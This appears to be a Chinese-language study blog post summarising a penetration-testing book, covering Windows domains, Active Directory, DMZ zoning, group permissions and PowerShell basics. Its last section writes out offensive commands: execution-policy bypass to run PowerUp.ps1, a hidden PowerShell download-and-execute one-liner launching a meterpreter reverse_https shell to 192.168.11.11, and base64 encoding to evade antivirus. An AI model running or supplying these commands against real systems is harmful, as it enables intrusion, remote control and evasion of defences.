内网安全攻防(一)

前面文章学习的渗透环节,或者打的DC-1靶场到了提权就结束,没有对后渗透再进行描述和联系。而在实际中对某个目标造成影响更大的我想是后渗透阶段,关注内网安全是每个单位的重中之重,为了拓宽知识面,我购买阅读《内网安全攻防-渗透测试指南》一书进行学习。

内网渗透测试基础

内网一般可以指局域网(local area network),是封闭的。

在Dr.Lee的课程上,在以windows2012R2为例子学习服务器时,就介绍过内网相关的知识。提到了几个名词:工作组、域、域控制器、父域、域树、域森岭、活动目录、DMZ等。

当年presentation的时候我曾向其他同学介绍过活动目录,但今天已经忘记了相关内容。因此本次学习既是对以往知识的回顾,也是让自己对内网安全更熟悉。

下面是对这些名词的解释:

1.工作组work group
根据职能给不同的计算机划分组别,方便管理。我们电脑上的网上邻居不常使用,在里面能看到同一工作组的设备。工作组中的设备身份对等,可以自由访问。

2.域domain
域是一个有安全边界的计算机集合,一个域中计算机无法访问其他域。
域控制器domain controller是域中的管理服务的计算机,域中计算机要互相访问需要经过域控制器审核。在Dr.Lee课程的实验里,我们需要把服务器变成域服务器,才能增加role或者修改一些规则。域控制器是域的通信枢纽,域内所有用来验证身份的账号和密码散列值都保存在域控制器中。因此我认为这些信息类比shadow文件一样,如果能利用那么就能进行权限的获取。
域中的环境:
a.单域:
要求至少两台域服务器,一台存储活动目录,一台备份。
b.父域和子域:
类比父子节点的关系。每个域可以制定自己的安全策略。
c.域树tree:
域树,是不同域之间通过信任关系(trust relation)组合的集合。域管理员一般智能管理本域的资源,如果两个域需要访问,要建立信任关系。
注意在一个域树里父域包含多个子域,而子域是相对于父域说的,指的是域名中的每一个段,各个子域之间用“.”隔开代表层次。以下面的域名作为例子,放在域名最后的子域称为最高级子域或者一级域,它前面的子域是二级域
asia.abc.com
abc.com
后者比前者高级。读域名应该从后往前看,”.com”是顶级域名,它的子域名是“.abc”,所以说“asia.abc.com”是“abc.com”的子域。
d.域森岭forst
多个域树通过建立信任关系组成的集合。如abc.com跟abc.net不是同一个域树,通过建立信任关系通信。
5.DNS域名服务器
面试常考,用处就是实现域名和IP地址的转换。一般域的名字就是DNS域的名字。在内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器位置,而DNS服务器和域控制器通常配置在同一台机器上

3.活动目录active directory AD
活动目录指的是域环境中提供目录服务的组件。
使用它的目的是方便企业在网络环境中集中式管理。目录存储着有关网络对象的信息。跟我想的一样,活动目录其实就相当于索引,方便我们快速查找资料。
活动目录的逻辑结构,在Dr.Lee课程上也讲过分为组织单元OU、域、域树、域森岭。

【域控制器和活动目录的区别】:当网络规模大,里面的资源信息存储在某种数据库,就是活动目录数据库[AD库],当内网中有一台机子安装AD那么它就变成DC。

4.安全域
根据安全等级对计算机进行划分到不同网段。通过防火墙来进行访问控制。

安全域

如上图分为外网、DMZ、内网。DMZ是一个非安全与安全之间的缓冲区。
DMZ中一般有必须对外的服务器,如WEB、FTP、IPS、IDS等。DMZ只能从外部访问

如上述三层结构,需要通过配置安全策略实现屏障的功能。
内网可以访问外网; //防火墙需要执行NAT
内网可以访问DMZ;
外网不能访问内网; //除非是用VPN
外网可以访问DMZ;
DMZ不能访问内网;
DMZ不能访问外网;

而对于内网,又分为办公区和核心区:
办公区:是攻击者进入内网的重要途径
核心区:能访问该区域的只有管理员和运维人员

5.域中计算机分类:
域控制器
成员服务器
客户机
独立服务器

6.域内权限
域本地组、全局组、通用组
不管是学习还是实践操作经常看到本地组策略这个名词,忘了是那个版本的os家庭版没有该功能,貌似是win10,要通过一些方法修改之后能唤出该策略。
书中给了一句口诀:“域本地组来自全林,作用于本域;全局组来自本域,作用域全林;通用组来自全林,作用于全林。”
A-G-DL-P策略:将用户账号添加到全局组,把全局组添加到域本地组中,之后为域本地组分配资源权限,方便管理。
A.用户账号 account
G.全局组 global group
U.通用组 universal group
DL.域本地组 domain local group
P.资源权限 permission

书中介绍了几个重要的域本地组权限:
管理员组administrator:
远程登录组remote desktop users:
打印机操作员组print operators:
账号操作员组account operators:
服务操作员组server operators:
备份操作员组backup operators:


重要的全局组、通用组权限:
域管理员组domain admins:
企业系统管理员组enterpri admins:
架构管理员组schema admins:
域用户组:domain users:

WINDOWS POWERSHELL

1.ps1文件:
powershell脚本是一个简单的文本文件,扩展名为“.ps1”

2.执行策略:
默认情况下,为了保护不受恶意操作者影响,执行策略被设置为不能运行。
当我们的powershell脚本不能运行,首先使用cmdlet命令查询当前执行策略
下面是能选择的策略:
Get-Execution Policy
Restricted
RemoteSigned
AllSigned
Unrestricted
通过使用 Set-ExcutionPolicy <policy name> 来设置powershell执行策略

3.运行脚本
注意,运行powershell脚本需要完整输入路径和文件名。如“C:\Scripts\a.ps1”

4.管道
以前一个输入的结果作为 | 后的输入
例:让所有以P开头的程序停止运行“PS>get-process p* | stop-process”


POWER SHELL常用命令(不区分大小写)

1.基本知识
新建目录:New-ltem whitecellcliub-ltemType Directory
新建文件:New-ltem light.txt-ltemType File
删除目录:Remove-ltem whitecellclub
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt-Value “hello,world!”
追加内容:Add-Content light.txt-Value “bobo”
清除内容:Clear-Content test.txt

2.命令
首先,要执行powershell命令,在cmd输入“powershell”进入环境。若要运行powershell脚本程序,用管理员权限将策略从Restricted变成Unrestricted

(1)绕过本地权限并执行
首先先把PowerUp.ps1上传到目标服务器,然后在目标服务器执行:
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

将同一个脚本上传到目标服务器,在目标本地执行脚本文件:
powershell.exe -exec bypass -Command “& {Import-Module c:\PowerUp.ps1;Invoke-AllChecks}”

(2)从网站服务器下载脚本,绕过本地权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[parameters]

最终执行:
PowerShell.exe -ExecutionPolocy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNe.WebClient).DownloadString(“<xxxxxxxx>”);Invoke-Shellcode -Payload windows/meterpreter/reverse_hyyps-Lhost 192.168.11.11 -Lport 80

解释一下参数:
execution policy bypass(Exec Bypass):绕过安全策略
windowstyle hidden:隐藏窗口
noninteractive(NonI):非交互模式,powershell不提供与用户的交互
noprofile:(-NoP):powershell不加载当前用户的配置文件
noexit:执行后不退出shell //在使用键盘记录等脚本的时候非常重要
NoLogo:启动时不显示版权标志的powershell

(3)使用base64编码powershell进行免杀
由于脚本里有特殊字符,不进行编码混淆压缩的话可能会被杀软杀掉。用python脚本加密,注意转换的对象必须是文本文件,所以要先把命令保存成文本文件
echo “IEX(New-Object Net.WebClient).DownloadString(‘<xxxxxx>’) ;Invoke-Shellcode-Payload windows/metererter/reverse_https-Lhost 192.168.11.11 -Lport 80 -Force” >raw.txt

给加密的脚本文件权限:
chmod +x ps_encoder.py

使用加密脚本封装:
./ps_encoder.py -s raw.txt

之后就会得到编码之后的命令文本,记为X然后在远程主机执行:
Powershell.exe -NoP -NonI -W Hidden -Exc Bypass -enc X


关于32位和64位的powershell:
32:Powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64:%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exc Bypass // 64的配置文件在路径%WinDir%\syswow64\windowspowershell\v1.0\

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注